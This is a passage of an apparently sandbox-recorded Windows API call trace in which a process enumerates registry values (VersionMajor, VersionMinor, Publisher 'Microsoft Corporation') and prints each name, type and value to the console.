lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.029] lstrlenW (lpString="VersionMajor") returned 12 [0148.029] __iob_func () returned 0x7fefd702a80 [0148.029] _fileno (_File=0x7fefd702ab0) returned 1 [0148.029] _errno () returned 0xc4bb0 [0148.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.029] _errno () returned 0xc4bb0 [0148.029] GetFileType (hFile=0x50) returned 0x1 [0148.029] lstrlenW (lpString="VersionMajor") returned 12 [0148.029] GetConsoleOutputCP () returned 0x1b5 [0148.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.029] GetConsoleOutputCP () returned 0x1b5 [0148.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.029] __iob_func () returned 0x7fefd702a80 [0148.029] _fileno (_File=0x7fefd702ab0) returned 1 [0148.029] _errno () returned 0xc4bb0 [0148.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.030] _errno () returned 0xc4bb0 [0148.030] GetFileType (hFile=0x50) returned 0x1 [0148.030] lstrlenW (lpString=" ") returned 4 [0148.030] GetConsoleOutputCP () returned 0x1b5 [0148.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.030] GetConsoleOutputCP () returned 0x1b5 [0148.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.030] __iob_func () returned 0x7fefd702a80 [0148.030] _fileno (_File=0x7fefd702ab0) returned 1 [0148.030] _errno () returned 0xc4bb0 [0148.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.030] _errno () returned 0xc4bb0 [0148.030] GetFileType (hFile=0x50) returned 0x1 [0148.030] lstrlenW (lpString="REG_SZ") returned 6 [0148.030] GetConsoleOutputCP () returned 0x1b5 [0148.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.030] GetConsoleOutputCP () returned 0x1b5 [0148.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.031] __iob_func () returned 0x7fefd702a80 [0148.031] _fileno (_File=0x7fefd702ab0) returned 1 [0148.031] _errno () returned 0xc4bb0 [0148.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.031] _errno () returned 0xc4bb0 [0148.031] GetFileType (hFile=0x50) returned 0x1 [0148.031] lstrlenW (lpString=" ") returned 4 [0148.031] GetConsoleOutputCP () returned 0x1b5 [0148.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.031] GetConsoleOutputCP () returned 0x1b5 [0148.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.031] __iob_func () returned 0x7fefd702a80 [0148.031] _fileno (_File=0x7fefd702ab0) returned 1 [0148.031] _errno () returned 0xc4bb0 [0148.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.031] _errno () returned 0xc4bb0 [0148.031] GetFileType (hFile=0x50) returned 0x1 [0148.031] lstrlenW (lpString="4") returned 1 [0148.031] GetConsoleOutputCP () returned 0x1b5 [0148.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.032] GetConsoleOutputCP () returned 0x1b5 [0148.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4", lpUsedDefaultChar=0x0) returned 1 [0148.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.032] __iob_func () returned 0x7fefd702a80 [0148.032] _fileno (_File=0x7fefd702ab0) returned 1 [0148.032] _errno () returned 0xc4bb0 [0148.032] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.032] _errno () returned 0xc4bb0 [0148.032] GetFileType (hFile=0x50) returned 0x1 [0148.032] lstrlenW (lpString="\n") returned 1 [0148.032] GetConsoleOutputCP () returned 0x1b5 [0148.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.032] GetConsoleOutputCP () returned 0x1b5 [0148.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.032] GetProcessHeap () returned 0x2e0000 [0148.032] GetProcessHeap () returned 0x2e0000 [0148.032] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.032] GetProcessHeap () returned 0x2e0000 [0148.032] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x8 [0148.033] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.033] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.033] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6) returned 0x0 [0148.033] GetProcessHeap () returned 0x2e0000 [0148.033] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fcda0 [0148.033] GetProcessHeap () returned 0x2e0000 [0148.033] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.033] GetProcessHeap () returned 0x2e0000 [0148.033] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x8 [0148.033] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x6 | out: pdwType=0x23f5f0*=0x1, pvData="6", pcbData=0x23f670*=0x4) returned 0x0 [0148.033] __iob_func () returned 0x7fefd702a80 [0148.033] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.033] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.033] _fileno (_File=0x7fefd702ab0) returned 1 [0148.033] _errno () returned 0xc4bb0 [0148.033] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.033] _errno () returned 0xc4bb0 [0148.033] GetFileType (hFile=0x50) returned 0x1 [0148.033] lstrlenW (lpString=" ") returned 4 [0148.033] GetConsoleOutputCP () returned 0x1b5 [0148.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.033] GetConsoleOutputCP () returned 0x1b5 [0148.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.033] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.033] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.034] lstrlenW (lpString="VersionMinor") returned 12 [0148.034] __iob_func () returned 0x7fefd702a80 [0148.034] _fileno (_File=0x7fefd702ab0) returned 1 [0148.034] _errno () returned 0xc4bb0 [0148.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.034] _errno () returned 0xc4bb0 [0148.034] GetFileType (hFile=0x50) returned 0x1 [0148.034] lstrlenW (lpString="VersionMinor") returned 12 [0148.034] GetConsoleOutputCP () returned 0x1b5 [0148.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.034] GetConsoleOutputCP () returned 0x1b5 [0148.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.034] __iob_func () returned 0x7fefd702a80 [0148.034] _fileno (_File=0x7fefd702ab0) returned 1 [0148.034] _errno () returned 0xc4bb0 [0148.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.034] _errno () returned 0xc4bb0 [0148.034] GetFileType (hFile=0x50) returned 0x1 [0148.034] lstrlenW (lpString=" ") returned 4 [0148.034] GetConsoleOutputCP () returned 0x1b5 [0148.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.035] GetConsoleOutputCP () returned 0x1b5 [0148.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.035] __iob_func () returned 0x7fefd702a80 [0148.035] _fileno (_File=0x7fefd702ab0) returned 1 [0148.035] _errno () returned 0xc4bb0 [0148.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.035] _errno () returned 0xc4bb0 [0148.035] GetFileType (hFile=0x50) returned 0x1 [0148.035] lstrlenW (lpString="REG_SZ") returned 6 [0148.035] GetConsoleOutputCP () returned 0x1b5 [0148.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.035] GetConsoleOutputCP () returned 0x1b5 [0148.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.035] __iob_func () returned 0x7fefd702a80 [0148.035] _fileno (_File=0x7fefd702ab0) returned 1 [0148.035] _errno () returned 0xc4bb0 [0148.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.035] _errno () returned 0xc4bb0 [0148.035] GetFileType (hFile=0x50) returned 0x1 [0148.036] lstrlenW (lpString=" ") returned 4 [0148.036] GetConsoleOutputCP () returned 0x1b5 [0148.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.036] GetConsoleOutputCP () returned 0x1b5 [0148.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.036] __iob_func () returned 0x7fefd702a80 [0148.036] _fileno (_File=0x7fefd702ab0) returned 1 [0148.036] _errno () returned 0xc4bb0 [0148.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.036] _errno () returned 0xc4bb0 [0148.036] GetFileType (hFile=0x50) returned 0x1 [0148.036] lstrlenW (lpString="6") returned 1 [0148.036] GetConsoleOutputCP () returned 0x1b5 [0148.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.036] GetConsoleOutputCP () returned 0x1b5 [0148.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6", lpUsedDefaultChar=0x0) returned 1 [0148.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.037] __iob_func () returned 0x7fefd702a80 [0148.037] _fileno (_File=0x7fefd702ab0) returned 1 [0148.037] _errno () returned 0xc4bb0 [0148.037] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.037] _errno () returned 0xc4bb0 [0148.037] GetFileType (hFile=0x50) returned 0x1 [0148.037] lstrlenW (lpString="\n") returned 1 [0148.037] GetConsoleOutputCP () returned 0x1b5 [0148.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.037] GetConsoleOutputCP () returned 0x1b5 [0148.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.037] GetProcessHeap () returned 0x2e0000 [0148.037] GetProcessHeap () returned 0x2e0000 [0148.037] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.037] GetProcessHeap () returned 0x2e0000 [0148.037] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x8 [0148.037] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.037] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.037] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0148.037] GetProcessHeap () returned 0x2e0000 [0148.037] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0148.037] GetProcessHeap () returned 0x2e0000 [0148.038] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.038] GetProcessHeap () returned 0x2e0000 [0148.038] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.038] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0148.038] __iob_func () returned 0x7fefd702a80 [0148.038] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.038] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.038] _fileno (_File=0x7fefd702ab0) returned 1 [0148.038] _errno () returned 0xc4bb0 [0148.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.038] _errno () returned 0xc4bb0 [0148.038] GetFileType (hFile=0x50) returned 0x1 [0148.038] lstrlenW (lpString=" ") returned 4 [0148.038] GetConsoleOutputCP () returned 0x1b5 [0148.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.038] GetConsoleOutputCP () returned 0x1b5 [0148.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.038] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.038] lstrlenW (lpString="Publisher") returned 9 [0148.038] __iob_func () returned 0x7fefd702a80 [0148.038] _fileno (_File=0x7fefd702ab0) returned 1 [0148.038] _errno () returned 0xc4bb0 [0148.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.038] _errno () returned 0xc4bb0 [0148.038] GetFileType (hFile=0x50) returned 0x1 [0148.038] lstrlenW (lpString="Publisher") returned 9 [0148.039] GetConsoleOutputCP () returned 0x1b5 [0148.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.039] GetConsoleOutputCP () returned 0x1b5 [0148.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.039] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.039] __iob_func () returned 0x7fefd702a80 [0148.039] _fileno (_File=0x7fefd702ab0) returned 1 [0148.039] _errno () returned 0xc4bb0 [0148.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.039] _errno () returned 0xc4bb0 [0148.039] GetFileType (hFile=0x50) returned 0x1 [0148.039] lstrlenW (lpString=" ") returned 4 [0148.039] GetConsoleOutputCP () returned 0x1b5 [0148.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.039] GetConsoleOutputCP () returned 0x1b5 [0148.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.039] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.039] __iob_func () returned 0x7fefd702a80 [0148.040] _fileno (_File=0x7fefd702ab0) returned 1 [0148.040] _errno () returned 0xc4bb0 [0148.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.040] _errno () returned 0xc4bb0 [0148.040] GetFileType (hFile=0x50) returned 0x1 [0148.040] lstrlenW (lpString="REG_SZ") returned 6 [0148.040] GetConsoleOutputCP () returned 0x1b5 [0148.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.040] GetConsoleOutputCP () returned 0x1b5 [0148.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.040] __iob_func () returned 0x7fefd702a80 [0148.040] _fileno (_File=0x7fefd702ab0) returned 1 [0148.040] _errno () returned 0xc4bb0 [0148.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.040] _errno () returned 0xc4bb0 [0148.040] GetFileType (hFile=0x50) returned 0x1 [0148.040] lstrlenW (lpString=" ") returned 4 [0148.040] GetConsoleOutputCP () returned 0x1b5 [0148.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.040] GetConsoleOutputCP () returned 0x1b5 [0148.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.041] __iob_func () returned 0x7fefd702a80 [0148.041] _fileno (_File=0x7fefd702ab0) returned 1 [0148.041] _errno () returned 0xc4bb0 [0148.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.041] _errno () returned 0xc4bb0 [0148.041] GetFileType (hFile=0x50) returned 0x1 [0148.041] lstrlenW (lpString="Microsoft Corporation") returned 21 [0148.041] GetConsoleOutputCP () returned 0x1b5 [0148.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0148.041] GetConsoleOutputCP () returned 0x1b5 [0148.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0148.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0148.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.041] __iob_func () returned 0x7fefd702a80 [0148.041] _fileno (_File=0x7fefd702ab0) returned 1 [0148.041] _errno () returned 0xc4bb0 [0148.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.041] _errno () returned 0xc4bb0 [0148.041] GetFileType (hFile=0x50) returned 0x1 [0148.041] lstrlenW (lpString="\n") returned 1 [0148.041] 